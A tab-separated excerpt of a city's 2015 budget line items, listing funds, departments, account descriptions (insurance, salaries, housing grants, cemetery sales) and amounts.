16004	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	522825.0	FOOD PURCHASES		 Supplies and Expenses	2015	120.0	0	0	0	0	0	0.0	0	0	0	0	0.0	120.0
16005	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	533210.0	BLDG OPER / CUST SUPPLIES		 Supplies and Expenses	2015	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
16006	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	533260.0	NON-AVIATION MAINTENANCE		 Supplies and Expenses	2015	113028.0	0	0	0	0	0	0.0	0	0	0	0	0.0	113028.0
16007	BA	IS	44	SCAQMD AB 2766 Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	404940.0	AB2766 MBILE SRCE AIR POLL FEE	610.0	Intergovernmental	2015	-110000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-110000.0
16008	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2015	538277.0	0	0	0	0	0	0.0	0	0	0	0	0.0	538277.0
16009	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2015	50910.0	0	0	0	0	0	0.0	0	0	0	0	0.0	50910.0
16010	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511749.0	VISION	808.0	Salaries and Wages	2015	4221.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4221.0
16011	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		EAP	808.0	Salaries and Wages	2015	3009.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3009.0
16012	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	15110.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15110.0
16013	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522312.0	DISCOUNTS LOST	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16014	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522920.0	COMMERCIAL VEHICLE REPAIRS	808.0	 Supplies and Expenses	2015	270000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	270000.0
16015	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522930.0	VEHICLES - TIRES / TUBES	808.0	 Supplies and Expenses	2015	149000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	149000.0
16016	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511730.0	WORKERS' COMP INSURANCE		Salaries and Wages	2015	30005.0	0	0	0	0	0	0.0	0	0	0	0	0.0	30005.0
16017	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		LIFE INSURANCE & AD & D		Salaries and Wages	2015	1325.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1325.0
16018	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511748.0	DENTAL	804.0	Salaries and Wages	2015	13777.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13777.0
16019	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		EAP	804.0	Salaries and Wages	2015	1352.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1352.0
16020	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522040.0	INSURANCE AND BONDS	860.0	 Supplies and Expenses	2015	2693850.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2693850.0
16021	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	402270.0	SPECIAL INSURANCE	650.0	Charges for Service	2015	-67850.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-67850.0
16022	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	533030.0	PROPERTY INSURANCE	808.0	 Supplies and Expenses	2015	3278.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3278.0
16023	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533040.0	SPECIAL INSURANCE		 Supplies and Expenses	2015	1150.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1150.0
16024	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	533040.0	SPECIAL INSURANCE	804.0	 Supplies and Expenses	2015	20000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20000.0
16025	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 FSS ADMIN	610.0	Intergovernmental	2015	-64741.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-64741.0
16026	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400883.0	SPC HAP SU05	610.0	Intergovernmental	2015	-312373.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-312373.0
16027	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400884.0	SPC HAP EXPANSION	610.0	Intergovernmental	2015	-185901.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-185901.0
16028	BA	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	402510.0	COMM & TRIBUTE PROG	622.0	Other	2015	-25000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-25000.0
16029	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409001.0	CHILDCARE-SEPTEMBER	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16030	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409023.0	ENRICHMENT-SPRING	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16031	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409053.0	MIDDLE SPORTS-SPRING	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16032	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402780.0	CASKET SALES	650.0	Charges for Service	2015	-102271.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-102271.0
16033	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402790.0	VAULT SALES	650.0	Charges for Service	2015	-53502.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-53502.0
16034	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556170.0	SOLD FLOWERS	808.0	 Supplies and Expenses	2015	11000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11000.0
16035	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556190.0	MISC SERVICES/SALES	808.0	 Supplies and Expenses	2015	34300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	34300.0
16036	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522110.0	UTIL - LIGHT / POWER	810.0	 Supplies and Expenses	2015	4777.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4777.0
16037	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2015	333264.0	0	0	0	0	0	0.0	0	0	0	0	0.0	333264.0
16038	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2015	36740.0	0	0	0	0	0	0.0	0	0	0	0	0.0	36740.0
16039	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2015	-4458.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-4458.0
16040	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		DISABILITY INSURANCE		Salaries and Wages	2015	2340.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2340.0
16041	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	1222173.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1222173.0
16042	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		UNEMPLOYMENT	804.0	Salaries and Wages	2015	5812.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5812.0
16043	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	8620.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8620.0
16044	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2015	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
16045	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533030.0	PROPERTY INSURANCE	808.0	 Supplies and Expenses	2015	80700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	80700.0
16046	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2015	263963.0	0	0	0	0	0	0.0	0	0	0	0	0.0	263963.0
16047	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400381.0	ADMIN-CERTIFICATE 014	610.0	Intergovernmental	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16048	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2015	-6801.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-6801.0
16049	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2015	-35151.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-35151.0
16050	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-5823.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-5823.0
16051	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-23578.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-23578.0
16052	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-15860.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-15860.0
16053	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2015	-5342.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-5342.0
16054	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		EMPLOYEE HEALTH CONTRIBUTION	812.0	Salaries and Wages	2015	-8414.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-8414.0
16055	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2015	-6054.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-6054.0
16056	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2015	5322.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5322.0
16057	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2015	-4824.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-4824.0
16058	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-5272.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-5272.0
16059	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-5670.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-5670.0
16060	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-12469.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-12469.0
16061	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409003.0	CHILDCARE-NOVEMBER	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16062	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522610.0	EQUIPMENT RENTAL		 Supplies and Expenses	2015	4072.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4072.0
16063	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16064	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	533220.0	BLDG / STRUCTURE MAINTENANCE		 Supplies and Expenses	2015	2610.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2610.0
16065	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2015	2545.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2545.0
16066	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2015	3708.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3708.0
16067	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511749.0	VISION	804.0	Salaries and Wages	2015	1897.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1897.0
16068	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	241899.0	0	0	0	0	0	0.0	0	0	0	0	0.0	241899.0
16069	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2015	750.0	0	0	0	0	0	0.0	0	0	0	0	0.0	750.0
16070	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522620.0	RENT		 Supplies and Expenses	2015	101121.0	0	0	0	0	0	0.0	0	0	0	0	0.0	101121.0
16071	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2015	74000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	74000.0
16072	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	402260.0	PROPERTY INSURANCE	650.0	Charges for Service	2015	-2699999.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2699999.0
16073	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2015	2510.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2510.0
16074	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522720.0	MILEAGE	820.0	 Supplies and Expenses	2015	509.0	0	0	0	0	0	0.0	0	0	0	0	0.0	509.0
16075	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522910.0	VEHICLES - FUELS / LUBRICATION		 Supplies and Expenses	2015	532.0	0	0	0	0	0	0.0	0	0	0	0	0.0	532.0
16076	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	577530.0	FARMERS' MKT EDUCATION PRGS		 Supplies and Expenses	2015	13845.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13845.0
16077	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	577540.0	FARMERS' MKT SPECIAL EVENTS		 Supplies and Expenses	2015	24653.0	0	0	0	0	0	0.0	0	0	0	0	0.0	24653.0
16078	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-8299.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-8299.0
16079	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522030.0	INVESTIGATION EXPENSES	862.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16080	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	533030.0	PROPERTY INSURANCE	808.0	 Supplies and Expenses	2015	58882.0	0	0	0	0	0	0.0	0	0	0	0	0.0	58882.0
16081	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	533030.0	PROPERTY INSURANCE	854.0	 Supplies and Expenses	2015	57983.0	0	0	0	0	0	0.0	0	0	0	0	0.0	57983.0
16082	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400394.0	HAP REVENUE - PORTS	610.0	Intergovernmental	2015	-333600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-333600.0
16083	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400923.0	SPC ADMIN SU05	610.0	Intergovernmental	2015	-22041.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-22041.0
16084	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400925.0	SPC ADMIN NEW	610.0	Intergovernmental	2015	-19366.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-19366.0
16085	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400885.0	SPC HAP NEW	610.0	Intergovernmental	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16086	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400925.0	SPC ADMIN NEW	610.0	Intergovernmental	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16087	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522130.0	UTILITIES - WATER		 Supplies and Expenses	2015	10519.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10519.0
16088	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522720.0	MILEAGE	820.0	 Supplies and Expenses	2015	102.0	0	0	0	0	0	0.0	0	0	0	0	0.0	102.0
16089	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	533580.0	COMPUTER EQUIP/SOFTWARE MAINT		 Supplies and Expenses	2015	5882.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5882.0
16090	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2015	119106.0	0	0	0	0	0	0.0	0	0	0	0	0.0	119106.0
16091	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	400601.0	REVIEW OF PUBLIC ROW APPLICATI	612.0	Charges for Service	2015	-107019.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-107019.0
16092	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-2513.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2513.0
16093	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2015	-135025.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-135025.0
16094	BA	IS	1	General Fund	310	FIRE	315	TRAINING		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2015	-2840.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2840.0
16095	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2015	-6287.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-6287.0
16096	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2015	-6549.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-6549.0
16097	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2015	-2609.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2609.0
16098	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	403721.0	SERIAL INEBRIATE GRANT LEASING	610.0	Intergovernmental	2015	-356349.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-356349.0
16099	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400882.0	SPC HAP TRA	610.0	Intergovernmental	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16100	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 ADMIN	610.0	Intergovernmental	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16101	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2015	-11996.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-11996.0
16102	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		UNEMPLOYMENT	816.0	Salaries and Wages	2015	5629.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5629.0
16103	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		DISABILITY INSURANCE	816.0	Salaries and Wages	2015	8055.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8055.0
16104	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522310.0	OFFICE SUPPLIES / EXPENSES	816.0	 Supplies and Expenses	2015	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
16105	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
16106	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2015	47000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	47000.0
16107	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	563254.0	0	0	0	0	0	0.0	0	0	0	0	0.0	563254.0
16108	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2015	185829.0	0	0	0	0	0	0.0	0	0	0	0	0.0	185829.0
16109	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	112947.0	0	0	0	0	0	0.0	0	0	0	0	0.0	112947.0
16110	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES		 Supplies and Expenses	2015	814.0	0	0	0	0	0	0.0	0	0	0	0	0.0	814.0
16111	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	151775.0	0	0	0	0	0	0.0	0	0	0	0	0.0	151775.0
16112	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		DCAP	804.0	Salaries and Wages	2015	932.0	0	0	0	0	0	0.0	0	0	0	0	0.0	932.0
16113	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2015	1015.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1015.0
16114	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400885.0	SPC HAP NEW	610.0	Intergovernmental	2015	-276654.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-276654.0
16115	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400922.0	SPC ADMIN TRA	610.0	Intergovernmental	2015	-107446.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-107446.0
16116	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2015	19541.0	0	0	0	0	0	0.0	0	0	0	0	0.0	19541.0
16117	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 FSS ADMIN	610.0	Intergovernmental	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16118	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		YEAR-END CASH OUTS	816.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16119	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2015	22940.0	0	0	0	0	0	0.0	0	0	0	0	0.0	22940.0
16120	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400924.0	SPC ADMIN EXPANSION	610.0	Intergovernmental	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16121	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2015	10418.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10418.0
16122	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2015	2500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2500.0
16123	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 PORT IN ADMIN	610.0	Intergovernmental	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16124	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522180.0	BANK FEES	816.0	 Supplies and Expenses	2015	600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	600.0
